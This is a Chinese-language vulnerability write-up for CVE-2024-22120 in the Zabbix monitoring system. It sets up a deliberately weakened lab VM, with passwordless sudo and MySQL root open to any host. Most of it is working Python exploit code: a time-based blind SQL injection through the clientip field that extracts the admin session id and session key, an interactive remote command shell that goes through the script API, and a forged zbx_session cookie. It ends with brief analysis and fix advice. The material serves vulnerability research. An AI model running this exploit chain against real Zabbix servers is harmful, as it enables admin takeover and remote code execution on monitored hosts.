浅聊CVE-2024-22120:Zabbix低权限SQL注入至RCE+权限绕过
字数 941 2025-08-19 12:41:50
CVE-2024-22120: Zabbix低权限SQL注入至RCE+权限绕过漏洞分析
漏洞概述
CVE-2024-22120是Zabbix监控系统中存在的一个严重安全漏洞,允许低权限用户通过SQL注入攻击获取管理员权限并实现远程代码执行(RCE)。该漏洞影响Zabbix 6.0.20及之前版本。
漏洞环境搭建
1.1 下载和设置VMware镜像
-
下载Zabbix 6.0.20虚拟机镜像:
https://cdn.zabbix.com/zabbix/appliances/stable/6.0/6.0.20/zabbix_appliance-6.0.20-vmx.tar.gz -
解压后使用VMware打开.vmx文件
- 默认账号:root
- 默认密码:zabbix
-
配置sudo权限:
visudo添加以下内容:
zabbix ALL=(ALL) NOPASSWD:ALL -
配置MySQL远程访问:
mysql -uroot SET PASSWORD = 'zabbix'; use mysql; select host, user from user; update user set host = '%' where user ='root'; FLUSH PRIVILEGES; GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES; exit -
开放防火墙端口:
/sbin/iptables -I INPUT -p tcp --dport 3306 -j ACCEPT yum install policycoreutils -y service iptables save
1.2 漏洞环境设置
- 添加一个低权限用户:
- 组选择Guests
- 角色选择User Role
- 需要手动设置用户组为全部或Guests
- 确保用户具有"Detect operating system"权限
漏洞复现
2.1 验证漏洞存在并获取管理员session id和session key
使用以下Python脚本进行SQL注入攻击:
import json
import argparse
from pwn import *
from datetime import datetime
def send_message(ip, port, sid, hostid, injection):
zbx_header = "ZBXD\x01".encode()
message = {
"request": "command",
"sid": sid,
"scriptid": "3",
"clientip": "' + " + injection + "+ '",
"hostid": hostid
}
message_json = json.dumps(message)
message_length = struct.pack('<q', len(message_json))
message = zbx_header + message_length + message_json.encode()
r = remote(ip, port, level='debug')
r.send(message)
response = r.recv(1024)
r.close()
print(response)
def extract_admin_session_id(ip, port, sid, hostid, time_false, time_true):
session_id = ""
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + "abcdef":
print("\n(+) trying c=%s" % c, end="", flush=True)
before_query = datetime.now().timestamp()
query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
session_id += c
print("(+) session_id=%s" % session_id, end="", flush=True)
break
print("\n")
return session_id
def extract_config_session_key(ip, port, sid, hostid, time_false, time_true):
token = ""
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + "abcdef":
print("\n(+) trying c=%s" % c, end="", flush=True)
before_query = datetime.now().timestamp()
query = "(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
token += c
print("(+) session_key=%s" % token, end="", flush=True)
break
print("\n")
return token
执行命令:
python main.py --ip [目标IP] --sid [低权限用户session ID] --hostid [可访问的主机ID]
2.2 利用获取到的管理员session id实现RCE
import requests
import json
ZABIX_ROOT = "http://192.168.198.136"
url = ZABIX_ROOT + "/api_jsonrpc.php"
host_id = "10084"
session_id = "00000000000000000000000000000000"
headers = {
"content-type": "application/json",
}
auth = json.loads('{"jsonrpc": "2.0", "result": "' + session_id + '", "id": 0}')
while True:
cmd = input('\033[41m[zabbix_cmd]>>: \033[0m ')
if cmd == "":
print("Result of last command:")
elif cmd == "quit":
break
payload = {
"jsonrpc": "2.0",
"method": "script.update",
"params": {
"scriptid": "1",
"command": "" + cmd + ""
},
"auth": auth['result'],
"id": 0,
}
cmd_upd = requests.post(url, data=json.dumps(payload), headers=headers)
payload = {
"jsonrpc": "2.0",
"method": "script.execute",
"params": {
"scriptid": "1",
"hostid": "" + host_id + ""
},
"auth": auth['result'],
"id": 0,
}
cmd_exe = requests.post(url, data=json.dumps(payload), headers=headers)
cmd_exe_json = cmd_exe.json()
if "error" not in cmd_exe.text:
print(cmd_exe_json["result"]["value"])
else:
print(cmd_exe_json["error"]["data"])
2.3 构造zbx_session登录管理界面
import hmac
import json
import hashlib
import base64
from collections import OrderedDict
import time
def GenerateAdminSession(sessionid, session_key):
def sign(data: str) -> str:
key = session_key.encode()
return hmac.new(key, data.encode('utf-8'), hashlib.sha256).hexdigest()
def prepare_data(data: dict) -> str:
sorted_data = OrderedDict(data.items())
sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':')))
return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8')
session = {
"sessionid": sessionid,
"serverCheckResult": True,
"serverCheckTime": int(time.time())
}
res = prepare_data(session)
return res
漏洞分析
漏洞位于Zabbix的脚本执行功能中,攻击者可以通过构造特殊的clientip参数实现SQL注入。关键点在于:
- 低权限用户需要具有"Detect operating system"权限
- 通过时间盲注获取管理员sessionid和config表中的session_key
- 利用获取的凭证构造有效的zbx_session cookie
- 通过脚本更新和执行功能实现RCE
修复建议
- 升级到Zabbix最新版本
- 限制低权限用户的权限,特别是"Detect operating system"权限
- 对用户输入进行严格的过滤和验证
参考资源
- 漏洞报告:https://support.zabbix.com/browse/ZBX-24505
- 完整PoC代码:https://github.com/W01fh4cker/CVE-2024-22120-RCE
- 详细代码分析:https://mp.weixin.qq.com/s/qUr58Dez4lnlaTyg2BilUg